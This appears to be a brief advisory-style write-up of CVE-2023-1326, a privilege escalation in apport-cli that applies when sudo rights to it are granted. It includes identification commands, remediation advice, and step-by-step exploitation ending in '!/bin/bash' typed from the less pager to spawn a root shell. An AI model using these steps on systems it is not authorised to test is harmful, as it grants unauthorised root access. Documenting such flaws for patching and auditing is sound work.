A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.

This vulnerability only works if assign in sudoers

Identification

1. Verify that apport-cli is allowed to run with sudo privileges

  • sudo -l

2. Verify that the version is lower than 2.26.0

  • sudo /usr/bin/apport-cli -v

Exploitation

1. Execute apport-cli with parameter file bug (Select any option)

  • sudo /usr/bin/apport-cli --file-bug

2. Select any option

3. Press any key

4. Press V (View Report), this will open a less page as root

5. Now execute a shell, click enter

  • !/bin/bash

6. You’ll get a shell as root

Remedy

Upgrade the apport-cli version

Restrict the assignment to users

Sources

https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155

https://nvd.nist.gov/vuln/detail/CVE-2023-1326

https://github.com/diego-tella/CVE-2023-1326-PoC